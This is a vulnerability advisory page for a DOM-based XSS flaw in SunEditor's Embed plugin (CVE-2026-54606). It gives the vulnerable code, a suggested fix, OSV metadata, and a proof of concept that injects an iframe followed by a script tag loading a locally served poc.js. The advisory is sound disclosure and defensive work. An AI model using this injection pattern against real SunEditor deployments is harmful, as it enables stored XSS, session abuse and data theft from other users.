GHSA-W93Q-CQ9W-58P7
Vulnerability from github – Published: 2026-08-26 15:26 – Updated: 2026-10-30 16:58Summary
A DOM-based Cross-Site Scripting (XSS) vulnerability exists in the SunEditor Embed plugin. Crafted iframe embed HTML followed by an external element bypasses the plugin’s sanitization logic. The plugin recreates and appends the attacker-controlled script element to the live DOM, causing JavaScript execution in the context of the editor page.
If an application stores or reflects SunEditor content without additional backend sanitization, this can lead to stored or reflected XSS when another user opens, previews, renders, or edits the malicious content.
Details
The Embed plugin parses raw embed HTML and processes the resulting DOM nodes. When a element is included after a valid iframe, the plugin creates a new script element using the attacker-controlled src value and appends it to the DOM.
Relevant behavior:
const embedDOM = new DOMParser().parseFromString(src, 'text/html').body.children; if (/^script$/i.test(chd.nodeName)) { scriptTag = dom.utils.createElement('script', { src: chd.getAttribute('src'), async: 'true' }, null); continue; } cover.appendChild(scriptTag);
Because the script is newly created and appended, it executes.
PoC
Start a local server hosting a JavaScript payload:
mkdir -p /tmp/suneditor-poc
cd /tmp/suneditor-poc
cat > poc.js <<'EOF'
alert(1);
console.log("SunEditor Embed Plugin XSS executed");
EOF
python3 -m http.server 8000
Open SunEditor with the Embed plugin enabled, then insert the following payload through the Embed modal and save :
<iframe src="https://youtube.com/embed/x"></iframe><script src="http://127.0.0.1:8000/poc.js"></script>
Successful exploitation is confirmed when:
alert(1) appears
or the local server logs:
GET /poc.js
Impact
An attacker who can provide or store embed HTML can execute arbitrary JavaScript in another user’s browser when the content is processed by SunEditor. This may allow account actions as the victim, modification of editor content, or access to sensitive data available in the editor page.
The issue is especially impactful when SunEditor content is stored in a backend and later reopened or rendered for administrators, editors, or other users without additional sanitization.
Suggested Fix
Do not recreate or append script elements from user-controlled embed HTML.
Minimum mitigation:
if (/^script$/i.test(chd.nodeName)) {
continue;
}
A stronger fix is to allow only expected embed elements such as iframe or blockquote, sanitize their attributes, and discard all other sibling elements.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.3"
},
"package": {
"ecosystem": "npm",
"name": "suneditor"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54606"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-26T15:26:24Z",
"nvd_published_at": "2026-08-26T16:16:27Z",
"severity": "HIGH"
},
"details": "Summary\n\nA DOM-based Cross-Site Scripting (XSS) vulnerability exists in the SunEditor Embed plugin. Crafted iframe embed HTML followed by an external \u003cscript src=...\u003e element bypasses the plugin\u2019s sanitization logic. The plugin recreates and appends the attacker-controlled script element to the live DOM, causing JavaScript execution in the context of the editor page.\n\nIf an application stores or reflects SunEditor content without additional backend sanitization, this can lead to stored or reflected XSS when another user opens, previews, renders, or edits the malicious content.\n\nDetails\n\nThe Embed plugin parses raw embed HTML and processes the resulting DOM nodes. When a \u003cscript\u003e element is included after a valid iframe, the plugin creates a new script element using the attacker-controlled src value and appends it to the DOM.\n\nRelevant behavior:\n\nconst embedDOM = new DOMParser().parseFromString(src, \u0027text/html\u0027).body.children;\nif (/^script$/i.test(chd.nodeName)) {\n scriptTag = dom.utils.createElement(\u0027script\u0027, {\n src: chd.getAttribute(\u0027src\u0027),\n async: \u0027true\u0027\n }, null);\n continue;\n}\ncover.appendChild(scriptTag);\n\nBecause the script is newly created and appended, it executes.\n\nPoC\n\nStart a local server hosting a JavaScript payload:\n\n```\nmkdir -p /tmp/suneditor-poc\ncd /tmp/suneditor-poc\n\ncat \u003e poc.js \u003c\u003c\u0027EOF\u0027\nalert(1);\nconsole.log(\"SunEditor Embed Plugin XSS executed\");\nEOF\n\npython3 -m http.server 8000\n```\n\nOpen SunEditor with the Embed plugin enabled, then insert the following payload through the Embed modal and save :\n\n`\u003ciframe src=\"https://youtube.com/embed/x\"\u003e\u003c/iframe\u003e\u003cscript src=\"http://127.0.0.1:8000/poc.js\"\u003e\u003c/script\u003e\n`\nSuccessful exploitation is confirmed when:\n\n`alert(1) appears`\n\nor the local server logs:\n\n`GET /poc.js`\n\nImpact\n\nAn attacker who can provide or store embed HTML can execute arbitrary JavaScript in another user\u2019s browser when the content is processed by SunEditor. This may allow account actions as the victim, modification of editor content, or access to sensitive data available in the editor page.\n\nThe issue is especially impactful when SunEditor content is stored in a backend and later reopened or rendered for administrators, editors, or other users without additional sanitization.\n\nSuggested Fix\n\nDo not recreate or append script elements from user-controlled embed HTML.\n\nMinimum mitigation:\n\n```\nif (/^script$/i.test(chd.nodeName)) {\n continue;\n}\n```\n\nA stronger fix is to allow only expected embed elements such as iframe or blockquote, sanitize their attributes, and discard all other sibling elements.",
"id": "GHSA-w93q-cq9w-58p7",
"modified": "2026-10-30T16:58:52Z",
"published": "2026-08-26T15:26:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54606"
},
{
"type": "WEB",
"url": "https://github.com/JiHong88/suneditor/issues/1649"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/10757"
},
{
"type": "WEB",
"url": "https://github.com/JiHong88/suneditor/commit/9d43a5e082101d2d6475cba86e0d58d7c2cf6677"
},
{
"type": "PACKAGE",
"url": "https://github.com/JiHong88/suneditor"
},
{
"type": "WEB",
"url": "https://github.com/JiHong88/suneditor/releases/tag/3.1.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SunEditor Embed Plugin has DOM XSS via External Script Element After Iframe Embed"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.